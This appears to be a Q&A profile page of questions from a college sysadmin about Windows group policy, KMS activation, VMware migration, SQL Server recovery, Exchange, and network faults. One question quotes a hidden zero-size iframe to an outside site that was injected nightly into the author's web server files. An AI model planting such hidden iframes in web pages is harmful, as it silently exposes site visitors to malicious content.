user44650's questions

I'm stumped on a strange group policy issue. I know that Domain GPO should take authority over local group policy settings, but lately i've been having an issue and I can't think of anything else it could be.

I'm on a college campus, we have 2000 computers. before I was hired, the previous IT dept would set policies using Local GPOs when they imaged a PC, for example, setting the desktop background images and desktop themes (user config > admin templates > control panel > personalization > Load a specific theme - this then points to a theme and set of images on the C drive of each individual computer). I was tasked with changing the theme for all PCs, so I applied a domain level GPO which pulls the theme and background images from a shared folder on the network which has worked just fine for many computers that are running on a newer image, but it seems that a number of the old image PCs will not pick up the new theme. As mentioned, I know that Local Group Policy should be trumped by Domain policy, but it doesn't seem to be in all cases.

Is there a way to change the local group policy (to either change the value in the "Load a specific theme" field to either be disabled or to point to the theme in the network folder) in some sort of batch or maybe using psexec, a logon script or something like that? I don't want to have to hit each individual computer to change the local group policy settings if there is a way to script or automate it.

thanks!

edit: domain functional level is Server 2003, workstations all running Win 7. Definitely checked to make sure workstations are in the correct OUs, and are not marked to Block Inheritance

We had a major power loss in our server room two days ago and several Cisco Nexus 2232PP FEX devices went down. We were able to get everything back online, but since that event we've been experiencing some crazy network issues, high latency, RDP sessions disconnecting and reconnecting, slow access to shared folders. When I connect to the Hyper-V host and use the console to view individual VMs, they show "connected" with internet access, but they cannot be pinged from anything other than the VM host. I have to manually go into the settings for the specific VM in the hyper-v manager, disable and re-enable the network device, and they immediately pop back to life for a while (sometimes 12 hours, sometimes just 2 hours). Both of our VM hosts are plugged into the FEX devices. Our network admin is on vacation and unreachable (i'm the sysadmin). Has anyone ever experienced anything like this, or a second question, does anyone know how to connect to a FEX and see if that could be the problem?

We are a college campus with a bunch (100s) of computers scattered around between labs and staff use. We've recently started getting notifications on some desktops that Windows is not activated, and checking our Volume License it looks like these desktops might have been imaged using an MAK key that is now fully spent, but we're not 100% sure about that. I do see a couple of our servers set up as KMS servers by running the slmgr.vbs /dlv command, but i'm wondering if the problem is that the key used on those servers is linked to the now full key. We do have a couple of other KMS keys on our volume licensing account that have 1000s of available licenses, but how can I change the license on the KMS server to one of these keys with available licenses? Does this question even make sense or am I way off?

Thanks for any input!

We recently purchased new VM hosts, and we're trying to upgrade our current ESX 4.0 environment (3 hosts, running about 15 VMs and VCenter) to the new hosts which are running ESXi 5.0.

Do I need to update my existing hosts to ESXi before I am able to migrate? I'm currently unable to add any of the new hosts to the existing vcenter - vSphere client, probably due to the difference in version.

Any thoughts or starting points? most of the information i've come across so far is for upgrading hosts, but not for migrating to new hosts of a different version. Thanks in advance for any info or links provided.

something seems to have either hacked a webserver, or we have some sort of semi-malicious code running that keeps injecting code into our website. it seems to affect just a couple of coldfusion and html file. we've run malwarebytes, spybot, and AVG antivirus and removed any entries they find, though there weren't many. I'm in the process of researching and installing some Intrusion Detection software (like Snort or OSSEC) to see if this will help me find the culprit, but i was wondering if anyone had ever seen anything like this or knew where malicious code could be hiding.

it appears to inject the following code:

<iframe scrolling="no" frameborder="0" src="http://www.collegefun4u.com/" width="0" height="0"></iframe>

into a couple of files every night, at completely random times.

This is on a Windows 2003 server, running Coldfusion MX7. Nothing appears in the logs/event viewer when these files are changed.

I am trying to shrink a SQL database used for our syslog monitoring. the DB is about 43GB right now, and i'm sure hasn't been cleaned up in years. I recently inherited this DB when someone quit, and i'm not sure how to even access it or clean it up. I've tried to do the standard SHRINK on either the database or the files, and it seems to drop it down to about 40GB, but within minutes when a new entry gets logged to the DB, it immediately goes right back to the original 43GB size. Is there a way to remove data older than a certain number of years or months? We are currently without a DB Admin and i'm just trying to do what i can to free up some space on DB that potentially has years worth of old data.

edit: MS Sql Server 2005

my Windows 2003 R2 print server spooler service keeps crashing. upon startup I'll get an error message stating "Unhandled Win32 exception occurred in spoolsv.exe". no matter how many times i try to start the print spooler service manually, it'll stop itself within minutes or seconds. sometimes it won't stop until i try to open "Printers and Faxes". It just keeps sending 7034 Event Errors in the Event Viewer stating "The Print Spooler service terminated unexpectedly".

i've tried running virus and spyware scans, tried running CleanSPL, nothing is working and none of my users can print as all of our printers go through this server.

I cannot open Server Properties in the printer window, and when i try to view Admin Tools>Print Management i get a red X over my server name, and as soon as i open it, it'll kill the spooler service again if i've manually started it.

This server is also used for several SQL servers so a simple reinstall isn't an option right now. the server is running a little low on space, and seems like a defrag could also be done, but i can't imagine these would be causing the problems.

Printing was working just fine for weeks and then this morning it stopped. no new drivers have been installed for at least 2 weeks, and i'm still checking to see if WSUS updated anything last night. Anyone have any thoughts?

A couple of users (out of 150) are experiencing an issue where they send out emails or message invitations, but they are never received by the recipients. When i go into Exchange System Monitor, and into the Message History for the email, it shows the status just stops after "SMTP: Message Submitted to Categorizer". the message just seems to disappear after this. It's only for a few users, and only on occasional emails.

details about our network, Exchange 2003, McAfee Virus Scanning on the computers (but email scanning is disabled), and we have an IronPort device doing email spam filtering, but i don't even see the emails showing in the message tracking on the IronPort, so it isn't even making it that far.

We have 2 DCs, one main and one backup at another site. we had some issues with our main DC and i believe a lot of people were pushed over to the backup DC. is there a way to see everyone who is using a certain DC as their logon server without looking at each user individually?

I have a SQL DB instance that was stopped/shut down improperly and the msdb system db along with the regular DBs have been "in recovery" for over 2 weeks now. sometimes after a reboot one DB in the instance will work for a while, while all the others still say "In Recovery", but after another reboot, it seems like different DBs are "in recovery" at that point, some that worked previously.

Can i take the MDF and LDF files and restore to a different SQL Instance and restore any of the data? I can't stop or take offline any of the databases while msdb is "in recovery" and can't figure out a way to fix the DB instance. At this point i'm looking at ways around or ways to fix it in a new instance.

thoughts?

we've got a sql server 2005 instance that one of our guys messed up, i believe they killed the sql server service and restarted the computer, and when it came back all of our databases are "in recovery" and it times out every time we try to connect to it. it's been 'in recovery'and unable to connect to 'msbd' (also in recovery) whenever we try to use SSMC, for the last 4 days now. i'm unsure how to use the DBCC CHECKDB command to check the db integrity. we have backups(which we can't recover from because it keeps timing out), and it's a testing server, so nothing in production is really lost. is there any way to get it out of recovery mode? we have another sqlserver instance running that's just fine, but this instance keeps timing out. the errors i keep seeing are

database msdb is being recovered. wait until recovery is finished

and

an exception occurred while executing a transact-sql statement or batch Timeout expired.

any thoughts? we don't really have a DBA here, or anyone with much sql experience.